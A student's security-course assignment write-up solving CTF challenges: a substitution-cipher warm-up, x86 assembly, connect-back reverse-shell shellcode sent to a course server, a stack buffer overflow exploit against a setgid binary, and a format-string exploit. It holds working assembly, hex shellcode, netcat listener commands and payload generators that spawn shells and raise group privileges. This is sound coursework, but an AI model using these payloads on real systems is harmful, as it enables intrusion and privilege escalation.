Assignment 1: Buffer Overflow and String Format Attack

IS561: Binary Code Analysis and Secure Software Systems

Heechan Yang, 20234252

Sept 28, 2024 | 2024 Fall Semester

Assignment 1: Buffer Overflow and String Format Attack

Problem 1. Warm-up: Discovering the CTF server

- The CTF server has been deciphered from a given target string, "fihcgimchmcgfgomeee" through following 3 steps:
  1. Recognize the structure of the deciphered result
  2. Make first glance assumptions of substitution formula regarding the recognized structure
  3. Apply the substitution cipher to remaining characters
- For step 1, we have first recognized the the deciphered result will have a structure of an ip address with its port (e.g., 127.0.0.1:8888). Hence, we know that the ip address part contain four segments differentiated by `.` character and that the port number is differentiated with ip address by `:` character.
- Through the recognized structure in step 1, we have made assumption that character `o` in the target string should be substituted to character `:` since there is only single `o` (step 2). Since there is 3 instances of `c` character in the target string, we can assume that character `c` should be substituted to character `.` because four segments of ip address is differentiated by 3 `.` characters. Through this assumption, we conclude that the substitution cipher's formula is to subtract the ascii code of each character by `53`.
- Finally, on step 3, we apply the formula of substitution cipher to all the characters to decipher the target string to its `<ip-address>:<port>` form.

Problem 2. Shellcoding

Problem 2.a: Linux x86 syscall numbers

- Linux x86 syscall numbers listing file: `/usr/include/asm/unistd_32.h`

Problem 2.b: Linux x86-64 syscall numbers

- Linux x86-64 syscall numbers listing file: `/usr/include/asm/unistd_64.h`

Problem 2.c: ABI (Application Binary Interface)

- ABI (Application Binary Interface) is the rules for how binaries exchange data within a shared boundary. In order for a program to request a system call, such request depends on a preserved register so that the kernel can execute the requested system instruction based on a designated register. Therefore, ABI is related to syscalls in that the conventions of how data is shared across binaries must be fixed.

Problem 2.d: Linux x86 syscall calling conventions

- Parameters are passed by pushing the values to stack in reverse order. `foo(a, b, c)` would push the parameters in c, b, a order. Return value of a function is passed through the register, `eax`. After a function is called, the caller adjusts the stack pointer to pop the parameters from the stack. The registers `eax, ecx, eds` are registers that are preserved by the caller (caller-saved registers).

Problem 2.e: Linux x86-64 syscall calling conventions

- First six parameters of a function is passed through the registers `rdi, rsi, rdx, rcx, r8, r9`. From the seventh parameter, the argument values are passed through stack. Return value of a function is passed through the register, `rax`. The registers `rax, rcx, rdx, r8, r9, r10, r11` are registers that are preserved by the caller (caller-saved registers).

Problem 2.f: Reverse string program in x86 assembly

- information:
  - assembly source file: /src/problem1/reversed_print_cmd_input_string.s
  - compile command:

```
gcc -nostdlib -g -m32 reversed_print_cmd_input_string.s -o reversed_print_cmd_input_string
```

assembly code file content: `reversed_print_cmd_input_string.s`

- code snippet

```
.intel_syntax noprefix

.section .data
newline: .ascii "\n"

.section .text
.global _start

_start:
    push ebp
    mov ebp, esp

    # save ebp+4 (argc value) to eax
    mov eax, [ebp + 4]

    # save ebp+4 (argv[1] value) to esi
    mov esi, [ebp + 12]

    # reset ecx, used as store string length
    xor ecx, ecx

# derive the string length count
find_length:
    # check if null terminator is reached
    cmp byte ptr [esi + ecx], 0
    je  reverse_string
    # increment ecx, string length counter
    inc ecx
    jmp find_length

reverse_string:
    # save current reversed index...
    # of string to edi
    dec ecx
    mov edi, ecx

reverse_print_loop:
    # print each characters in reversed...
    # order by decrementing edi (char index)
    # print newline when edi (char index) is -1
    cmp edi, -1
    jl print_newline

    # write each character
    mov al, byte ptr [esi + edi]
    mov [esp-1], al
    # sycall for write which is 4
    mov eax, 4
    # file decriptor 1 is stdout
    mov ebx, 1
    lea ecx, [esp-1]
    # to write 1 byte (single char)
    mov edx, 1
    int 0x80

    # move to next reversed char
    dec edi
    jmp reverse_print_loop

print_newline:
    # print the newline character
    # syscall to write, 4
    mov eax, 4
```

```
    # file descripter stdout, 1
    mov ebx, 1
    mov ecx, offset newline
    mov edx, 1
    int 0x80

exit_program:
    # Exit the program
    mov eax, 1
    xor ebx, ebx
    int 0x80
```

Problem 3. CTF 1: ShellEval

Problem 3.a: x86 service exploitation

- By referring and analyzing `shellcode.py` in supplied github link, shellcode has been created by converting the hex resulting from an assembly that consists of the following functional steps:
  1. Make a socket with arguments of `SOCK_STREAM` and `AF_INET` using socket syscall, `0x66` (or 102 in decimal).
  2. Redirect `stdout`, `stdin`, and `stderr` to socket's file descriptor using dup2 syscall, `0x3f` (or 63 in decimal).
  3. connect to socket with designated ip and port address using sock syscall, `0x66` (or 102 in decimal).
  4. execute `/bin/sh` using excve syscall, `0xb` (or 11 in decimal).
- flag: `SKCTF{y0u_5p4wn3d_4_x86_5h3ll}`
- assembly file: `/src/problem_3/problem3a.s`
- compile command:

```
gcc -nostdlib -g -m32 problem3a.s -o problem3a
```

- steps for explotation:
  1. compile `problem3a.s`
  2. retrieve hex for the `problem3a`
  3. print retrieved hex with python script command, `./hex2binary_x86.py > payload`
  4. starting listening form local machine, `nc -lvnp 55555`
  5. send exploit shellcode to server, `nc 143.248.38.212 30000 < payload`

`problem3a.s` code

- code snippet

```
.intel_syntax noprefix

.section .text
.global _start

######## MY ADDRESS INFO ######## (tester3.kaist.ac.kr)
## IP: 143.248.136.13
## PORT: 55555
#################################

######## MY ADDRESS INFO in HEX ########
## IP: "\x8f\xf8\x88\x0d"
## PORT: "\xd9\x03"
########################################

# nc 143.248.38.212 30000 < payload
# gcc -nostdlib -g -m32 p3_a.s -o p3_a

# cmd to get hex from executable
# objdump -d problem3a | grep '[0-9a-f]:' | grep -oP '\s\K([0-9a-f]{2} )+' | tr -d ' \n' | sed 's/\(..\)/\\x\1/g'

# cmd to execute in local machine
# nc -lvnp 55555

# flag: SKCTF{y0u_5p4wn3d_4_x86_5h3ll}
```

```

_start:
    # Set up the destination IP address (143.248.136.13 in hex: 0x8ff8880d).
    push   0xd88f88f
    pop    esi

    # Set up the destination port (55555 in hex: 0xd903).
    pushw  0x3d9
    pop    edi

    # Create a socket (socketcall syscall - syscall number 0x66 in eax)
    push   0x66
    pop    eax
    cdq

    # Set up the arguments for the socket creation.
    # Push 1 (SOCK_STREAM, for TCP) onto the stack.
    push   0x1
    pop    ebx
    # Push 0 (protocol argument, set to 0) onto the stack.
    push   edx
    # Push `ebx` (1) again (socket type).
    push   ebx
    # Push 2 (AF_INET, for IPv4) onto the stack.
    push   0x2

# System call to create the socket.
syscall_socket:
    # Set `ecx` to point to the arguments (AF_INET, SOCK_STREAM, 0).
    mov    ecx,esp
    int    0x80
    # Exchange `ebx` and `eax` (store socket file descriptor in `ebx`).
    xchg   ebx,eax
    pop    ecx

# Duplicate the socket file descriptor (dup2 syscall - used to redirect input/output).
duplicate_fd:
    mov    al,0x3f
    int    0x80
    dec    ecx
    jns    duplicate_fd

    # Connect the socket to the specified address and port.
    mov    al,0x66
    # ip address and port pushed
    push   esi
    push   di
    # Push 2 (AF_INET, for IPv4) onto the stack.
    pushw  0x2
    mov    ecx,esp
    # Push 16 (size of the sockaddr_in structure) onto the stack.
    push   0x10
    # Push the pointer to the sockaddr_in structure.
    push   ecx
    # Push the socket file descriptor.
    push   ebx
    # Set `ecx` to point to the arguments for the connect syscall.
    mov    ecx,esp
    int    0x80

    # Execve syscall to spawn /bin/sh
    mov    al,0xb
    push   edx
    # Push the string "//sh" onto the stack.
    # Push the string "/bin" onto the stack.
    push   0x68732f2f
    push   0x6e69622f
    # Set `ebx` to point to the string "/bin//sh".
    mov    ebx,esp
    # Push 0 (NULL, terminator for the envp array).
    push   edx
    # Push the pointer to "/bin//sh".
    push   ebx
    # Jump back to the start to restart the process or continue execution.
    jmp    syscall_socket
```

`hex2binary_x86.py` code

- code snippet

```
#!/usr/bin/env python
import sys


# shellcode to exploit x86 shelleval service
# sys.stdout.write("\x68\x8f\xf8\x88\x0d\x5e\x66\x68\xd9\x03\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52
    \x53\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x56\x66\x57\x66\x6a
    \x02\x89\xe1\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69
    \x6e\x89\xe3\x52\x53\xeb\xce")

### 143.248.136.13
IPADDR = "\x8f\xf8\x88\x0d"
### Port: 55555
PORT = "\xd9\x03"
```

Problem 3.b: x86-64 service exploitation

- By referring and analyzing `shellcode.py` in supplied github link, shellcode has been created by converting the hex resulting from an assembly that consists of the following functional steps:
  1. Make a socket with arguments of `SOCK_STREAM` and `AF_INET` using socket syscall, `0x66` (or 102 in decimal).
  2. Redirect `stdout`, `stdin`, and `stderr` to socket's file descriptor using dup2 syscall, `0x3f` (or 63 in decimal).
  3. connect to socket with designated ip and port address using sock syscall, `0x66` (or 102 in decimal).
  4. execute `/bin/sh` using excve syscall, `0xb` (or 11 in decimal).
- flag: `SKCTF{y0u_5p4wn3d_4_x64_sh3ll}`
- steps for explotation:
  1. print retrieved hex with python script command, `./hex2binary_x86_64.py > payload`
  2. starting listening form local machine, `nc -lvnp 55555`
  3. send exploit shellcode to server, `nc 143.248.38.212 30001 < payload`

`hex2binary_x86_64.py` code

- code snippet

```
#!/usr/bin/env python
import sys


### 143.248.136.13
IPADDR = "\x8f\xf8\x88\x0d"
### Port: 55555
PORT = "\xd9\x03"

# shellcode to exploit x86-64 shelleval service
sys.stdout.write( "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" \
                  "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" \
                  "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" \
                  "\x02" + PORT + "\xc7\x44\x24\x04" + IPADDR + "\x48\x89\xe6\x6a\x10" \
                  "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" \
                  "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" \
                  "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" \
                  "\x5f\x6a\x3b\x58\x0f\x05" )
```

Problem 3.c: Exploitation on modified shelleval service

- It is possible to read the flag file by modifying my shellcode to execute `/bin/cat flag.txt` instead of `/bin/sh`. Hence, it would use `execve` syscall with `/bin/cat flag.txt` argument.
- flag: `SKCTF{y0u_5p4wn3d_4_x86_5h3ll}`
- assembly file: `/src/problem_3/problem3d.s`
- compile command:

```
gcc -nostdlib -g -m32 problem3d.s -o problem3d
```

- steps for explotation:
  1. compile `problem3d.s`
  2. retrieve hex for the `problem3d`
  3. print retrieved hex with python script command, `./hex2binary_x86_modified.py > payload`
  4. starting listening form local machine, `nc -lvnp 55555`
  5. send exploit shellcode to server, `nc 143.248.38.212 30000 < payload`

Problem 3.d: Code snippet: `problem3d.s`

- code snippet

```
.intel_syntax noprefix

.section .text
.global _start

######## MY ADDRESS INFO ######## (tester3.kaist.ac.kr)
## IP: 143.248.136.13
## PORT: 55555
#################################

######## MY ADDRESS INFO in HEX ########
## IP: "\x8f\xf8\x88\x0d"
## PORT: "\xd9\x03"
########################################

# nc 143.248.38.212 30000
# gcc -nostdlib -g -m32 problem3d.s -o problem3d

# cmd to get hex from executable
# objdump -d problem3d | grep '[0-9a-f]:' | grep -oP '\s\K([0-9a-f]{2} )+' | tr -d ' \n' | sed '
    s/\(..\)/\\x\1/g'

# cmd to execute in local machine
# nc -lvnp 55555

# flag: SKCTF{y0u_5p4wn3d_4_x86_5h3ll}

_start:
    # Set up the destination IP address (143.248.136.13 in hex: 0x8ff8880d).
    push    0xd88f88f
    pop     esi

    # Set up the destination port (55555 in hex: 0xd903).
    pushw   0x3d9
    pop     edi

    # Create a socket (socketcall syscall - syscall number 0x66 in eax)
    push    0x66
    pop     eax
    cdq

    # Set up the arguments for the socket creation.
    # Push 1 (SOCK_STREAM, for TCP) onto the stack.
    push    0x1
    pop     ebx
    # Push 0 (protocol argument, set to 0) onto the stack.
    push    edx
    # Push `ebx` (1) again (socket type).
    push    ebx
    # Push 2 (AF_INET, for IPv4) onto the stack.
    push    0x2


# System call to create the socket.
syscall_socket:
    # Set `ecx` to point to the arguments (AF_INET, SOCK_STREAM, 0).
    mov     ecx,esp
    int     0x80
    # Exchange `ebx` and `eax` (store socket file descriptor in `ebx`).
    xchg    ebx,eax
    pop     ecx
```

```


# Duplicate the socket file descriptor (dup2 syscall - used to redirect input/output).
duplicate_fd:
    mov    al,0x3f
    int    0x80
    dec    ecx
    jns    duplicate_fd

    # Connect the socket to the specified address and port.
    mov    al,0x66
    # ip address and port pushed
    push   esi
    push   di
    # Push 2 (AF_INET, for IPv4) onto the stack.
    pushw  0x2
    mov    ecx,esp
    # Push 16 (size of the sockaddr_in structure) onto the stack.
    push   0x10
    # Push the pointer to the sockaddr_in structure.
    push   ecx
    # Push the socket file descriptor.
    push   ebx
    # Set `ecx` to point to the arguments for the connect syscall.
    mov    ecx,esp
    int    0x80



    # Execve syscall to spawn /bin/cat flag.txt
    xor eax, eax

    # Push "/bin/cat" onto the stack (including the null terminator)
    push eax
    push 0x7461632f     # "cat/"
    push 0x6e69622f     # "bin/"
    mov ebx, esp        # Store pointer to "/bin/cat"

    # Push "flag.txt" onto the stack (including the null terminator)
    push eax
    push 0x7478742e     # "txt."
    push 0x67616c66     # "flag"
    mov ecx, esp

    # set up argv array (pointers to "/bin/cat" and "flag.txt", followed by NULL)
    push eax    # NULL for argv[2]
    push ecx    # Pointer to "flag.txt" (argv[1])
    push ebx    # Pointer to "/bin/cat" (argv[0])

    # ECX now points to the argv array: {"/bin/cat", "flag.txt", NULL}
    mov ecx, esp
    # EDX = envp = NULL (no environment variables)
    xor edx, edx

    # EBX should point to the filename ("/bin/cat")
    mov ebx, [ecx]
    # execve syscall number (11)
    mov eax, 0xb
    int 0x80
```

Problem 4. CTF 2: SetLev

Problem 4.a: Ownder of `/home/setlev/flag.txt`

- owner: setlevflag
- permission: setlevflag (1004) and root

Problem 4.b: Requirement to exploit

- to exploit `setlev`, the shellcode must require the following operations:
  1. Identify buffer overflow
  2. overwrite return address of `parseAndSet` to redirect control flow to arbitrary attack code

3. arbitrary attack shellcode contains two specific operations for exploitation in specific order written below:
   - Change group ID to setlevflag (1004)
   - Execute /`bin`/`sh` to get shell access
4. Read the flag

Problem 4.c: Reverse Engineer `setlev`

- function of `setlev`
  1. Receive command line argument form user (e.g., ./setlev –level=AAAA)
  2. Initialize 8 bytes character array in `parseAndSet` function
  3. overwrite each byte (character by character) of this variable with the character sequence of command line input until `\0` is met.
- vulnerability of `setlev`
  - Overwriting on an initialized memory space of 8 bytes is continued until `\0` is met, instead of limiting the write to allocated memory size.
  - This causes buffer overflow, in which an attacker can overwrite on the address space where the return address of `parseAndSet` function resides, redirecting the control flow to arbitrary code.

Reverse Enginer: `setlev.c` code snipped

- code snippet

```c
#include <stdio.h>
#include <string.h>

void parseAndSet(char *cmd_filename, char *flag);
void something(char *dest, char *source);

int main (int argc, char *argv[]) {
    if (argc <= 1) {
        return -1;
    }

    if (strncmp(argv[1], "--", 2) == 0) {
        parseAndSet(argv[0], argv[1]+2);
    }
    return 0;
}

void parseAndSet (char *cmd_filename, char *flag) {
    char local_variable[8];

    if (strcmp(flag, "help") == 0) {
        printf("%s [opts] --level=N\n", cmd_filename);
    } else if (strncmp(flag, "level=", 6) == 0) {
        something(local_variable, flag+6);
        printf("setting privilege level %s\n", local_variable);
    }
}

void something (char *dest, char *source) {
    int offset = 0;
    while (source[offset] != '\0') {
        dest[offset] = source[offset];
        offset++;
    }
    dest[offset] = '\0';
}
```

Problem 4.d: Exploit `setlev`

- steps to expoit:
  1. Recognize the offset from user input address to the return address of `parseAndSet` function using GDB

2. Make an exploit that overwrites the return address of parseAndSet function based on the offset size.
    - e.g., exploit shellcode: <random-bytes><redirect-address><nop-sled><setregid><bin-sh>
3. make payload by executing ./hex2binary.py > payload
4. exploit program: ./setlev --level=$(cat payload)

- details:
    - The size of <random-bytes> will be based on the calculate offset from the user input to the return address of parseAndSet function.
    - <redirect-address> will be approximate address where <nop-sled> is expected to reside based on the offset.
    - <setregid> sets group ID to setlevflag to get permission to read flag
        * from /src/problem_4/setregid.s assembly code, hex for setting group id can be retrieved
    - <bin-sh> spawns a shell for user interaction
        * from /src/problem_4/bin_sh.s assembly code, hex for spawning shell can be retrieved
- result:
    - flag: SKCTF{50l0_l3v3l1n6_0w0}

Supplementary Scripts

setregid.s

- code snippet

```
.intel_syntax noprefix

.section .text
.global _start

# objdump -d setregid | grep '[0-9a-f]:' | grep -oP '\s\K([0-9a-f]{2} )+' | tr -d ' \n' | sed 's
    /\(..\)/\\x\1/g'

_start:
    xor ebx, ebx
    mov bx, 1004 # setlev 1004


    xor ecx, ecx
    mov cx, 1004 # setlevflag 1004

    # perform syscall for 11 (execve)
    xor eax, eax
    mov     al, 71     # Set eax to 71 (setregid)
    int     0x80       # Trigger interrupt to make the syscall
```

bin_sh.s

- code snippet

```
.intel_syntax noprefix

.section .text
.global _start

# objdump -d bin_sh | grep '[0-9a-f]:' | grep -oP '\s\K([0-9a-f]{2} )+' | tr -d ' \n' | sed 's
    /\(..\)/\\x\1/g'

_start:
    xor     eax, eax                # Clear eax register
    push    eax                     # Push null terminator
    push    0x68732f2f              # Push "//sh" onto the stack
    push    0x6e69622f              # Push "/bin" onto the stack
    mov     ebx, esp                # Set ebx to the top of the stack (pointer to "/bin//sh")

    xor eax, eax
    push eax
    push    ebx                     # Push pointer to "/bin//sh" for argv[0]
    mov     ecx, esp                # Set ecx to point to the argv array (argv)

```

```
    xor edx, edx

    # perform syscall for 11 (execve)
    mov     al, 0xb                 # Set eax to 11 (execve syscall number)
    int     0x80                    # Trigger interrupt to make the syscall
```

hex2binary.py

- code snippet

```
#!/usr/bin/env python

import sys

# ssh setlev@143.248.38.212 -p 10000
# ./hex2binary.py > payload
# ./setlev --level=$(cat /tmp/hcy_setlev/payload)

# flag: SKCTF{50l0_l3v3l1n6_0w0}

# random 8 + 4 bytes (local variable 8 byte + EBP 4 bytes) == random 12 bytes
random_bytes = "\x41" * 12

# redirection address written on address space...
# where the return address of parseAndFunction resides
return_address = "\x1a\xdd\xff\xff"

# NOP Sled
nop_sled = "\x90" * 512

# setregid
setregid_hex = "\x31\xDB\x66\xBB\xEC\x03\x31\xC9\x66\xB9\xEC\x03\x31\xC0\xB0\x47\xCD\x80"

# # bin_sh.s
bin_sh_hex = "\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x31\xC0\x50\x53\x89\
    xE1\x31\xD2\xB0\x0B\xCD\x80"

payload = random_bytes + return_address + nop_sled + setregid_hex + bin_sh_hex

sys.stdout.write(payload)
```

Problem 5. CTF 3: BadFormat

Problem 5.a: Reverse Engineer badformat

- function of badformat
  1. allocate 256 bytes of memory, input buffer
  2. allocate 512 bytes of memory, output buffer
  3. write user input from stdin on 512 buffer (e.g., fgets and snprintf)
  4. writer output buffer to stdout (e.g., fprintf)
- vulnerability of badformat
  - User can give a format string as an input through stdin
  - This format string can access or write on arbitrary memory location when fprintf calls to write the input

Reverse Enginer: badformat.c code snipped

- code snippet

```
#include <stdio.h>
#include <string.h>

void printer();

int main (int argc, char *argv[]) {
    if (argc <= 1) {
        printer();
```

```c
    }
    return 0;
}

void printer () {
    char std_input[256];
    char output_string[512];
    fgets(std_input, 255, stdin);
    snprintf(output_string, 511, "IS561: %s", std_input);
    fprintf(stdout, output_string);
}
```

Problem 5.b: Exploit badformat

- steps to expoit:
  1. Recognize the the address where the return address of fprintf function resides
  2. Make an exploit that overwrites this address to address where <nop-sled><setregid><bin-cat> shellcode resides
     - e.g., exploit shellcode: IS561:_<random1byte><target-address><target-address><format-string><format-string><nop-sled><setregid><bin-cat>
  3. make payload by executing ./hex2binary.py > payload
  4. exploit program: ./badformat < payload
- details:
  - <random1byte> is for make it it more simple for format string to retreive certain argument fprintf recognizes (because IS561:_ is 7 bytes).
  - <target-address> target address is the address to the address where the return address of fprintf resides.
    * overwritten with an address to arbitrary code
  - <format-string> is a format string that directs the program to overwrite a target address (e.g., "%123d%3$n)
  - <setregid> sets group ID to setlevflag to get permission to read flag
    * from /src/problem_4/setregid.s assembly code, hex for setting group id can be retrieved
  - <bin-cat> shell code for command to execute /bin/cat flag.txt
    * from /src/problem_4/bin_cat.s assembly code, hex for spawning shell can be retrieved
- result:
  - flag: SKCTF{b4d_f0rm47_57r1n6_:(}

Supplementary Scripts

setregid.s

- code snippet

```
.intel_syntax noprefix

.section .text
.global _start

# objdump -d setregid | grep '[0-9a-f]:' | grep -oP '\s\K([0-9a-f]{2} )+' | tr -d ' \n' | sed 's
    /\(..\)/\\x\1/g'

_start:
    xor ebx, ebx
    mov bx, 1006 # setlev 1004


    xor ecx, ecx
    mov cx, 1006 # setlevflag 1004

    # perform syscall for 11 (execve)
    xor eax, eax
    mov     al, 71     # Set eax to 71 (setregid)
    int     0x80       # Trigger interrupt to make the syscall
```

bin_cat.s

- code snippet

```
.intel_syntax noprefix

.section .text
.global _start


# objdump -d bin_cat | grep '[0-9a-f]:' | grep -oP '\s\K([0-9a-f]{2} )+' | tr -d ' \n' | sed 's
    /\(..\)/\\x\1/g'

# char *args[] = {"/bin/cat", "flagtxt", NULL}
#   execve("/bin/cat", args, NULL)
_start:
    xor eax, eax

    # Push "/bin/cat" onto the stack (including the null terminator)
    push eax        # NULL terminator for "/bin/cat"
    push 0x7461632f # "cat/"
    push 0x6e69622f # "bin/"
    mov ebx, esp

    # Push "flagtxt" onto the stack (including the null terminator)
    push eax        # NULL terminator for "flagtxt"
    push 0x7478742e # "txt"
    push 0x67616c66 # "flag"
    mov ecx, esp

    # Now set up argv array (pointers to "/bin/cat" and "flagtxt", followed by NULL)
    push eax    # NULL for argv[2]
    push ecx    # Pointer to "flagtxt" (argv[1])
    push ebx    # Pointer to "/bin/cat" (argv[0])

    # ECX now points to the argv array: {"/bin/cat", "flagtxt", NULL}
    mov ecx, esp

    xor edx, edx

    # EBX should point to the filename ("/bin/cat")
    mov ebx, [ecx]  # EBX = "/bin/cat"

    # Perform the execve system call
    mov al, 0xb # execve syscall number (11)
    int 0x80    # Trigger the syscall

    # Exit the program (in case execve fails)
    mov al, 0x1
    xor ebx, ebx
    int 0x80
```

hex2binary.py

- code snippet

```
#!/usr/bin/env python

import sys
import struct


# flag: SKCTF{b4d_f0rm47_57r1n6_:(}


# Function to increment a little-endian address by 1 byte
def increment_address(addr, how_much=1):
    # Convert little-endian bytes to an integer
    addr_int = struct.unpack("<I", addr)[0] + how_much
    # Convert the incremented integer back to little-endian bytes
    return struct.pack("<I", addr_int)

# Function to calculate the format string for the second half and first half addresses
def calculate_format_string(first_half_addr, base=16):
    # The address to write: first_half_addr + 52 bytes
    target_addr = struct.unpack("<I", first_half_addr)[0] + 70

    # Adjust the address based on the 7-byte string and 16 bytes of return addresses
```

```
    lower_bytes_target = (target_addr & 0xFFFF) - 16  # Lower 16 bits of target, minus the offset
    upper_bytes_target = (target_addr >> 16) - (lower_bytes_target + 16)  # Upper 16 bits

    # Create the new format strings based on calculated values
    second_format_string = "%{}d%3$hn".format(lower_bytes_target).encode()
    first_half_format_string = "%{}d%4$hn".format(upper_bytes_target).encode()

    return second_format_string, first_half_format_string


cnt = 32

# IS561: A<string_format>
dummy = "\x41"

# Initial return addresses (in little-endian)
# 0xffffd8f6 == 4294957302
# 0xffffd8d4
second_half_return_address = struct.pack("<I", 0xffffd8d4)
first_half_return_address = struct.pack("<I", 0xffffd8d6)

# 0xffffd920
# 0xffffd91a
second_half_return_address = increment_address(second_half_return_address, cnt)
first_half_return_address = increment_address(first_half_return_address, cnt)


# NOP Sled
nop_sled = "\x90" * 41

second_format_string, first_half_format_string = calculate_format_string(first_half_return_address)

# setregid: badformatflag 1006
setregid_hex = "\x31\xDB\x66\xBB\xEE\x03\x31\xC9\x66\xB9\xEE\x03\x31\xC0\xB0\x47\xCD\x80"

# # bin_cat.s
bin_cat_s = "\x31\xC0\x50\x68\x2F\x63\x61\x74\x68\x2F\x62\x69\x6E\x89\xE3\x50\x68\x2E\x74\x78\x74\x68\x66\x6C\x61\x67\x89\xE1\x50\x51\x53\x89\xE1\x31\xD2\x8B\x19\xB0\x0B\xCD\x80\xB0\x01\x31\xDB\xCD\x80"


payload = dummy + \
            second_half_return_address + first_half_return_address + \
            second_format_string + first_half_format_string + \
            nop_sled + setregid_hex + bin_cat_s

sys.stdout.write(payload)
```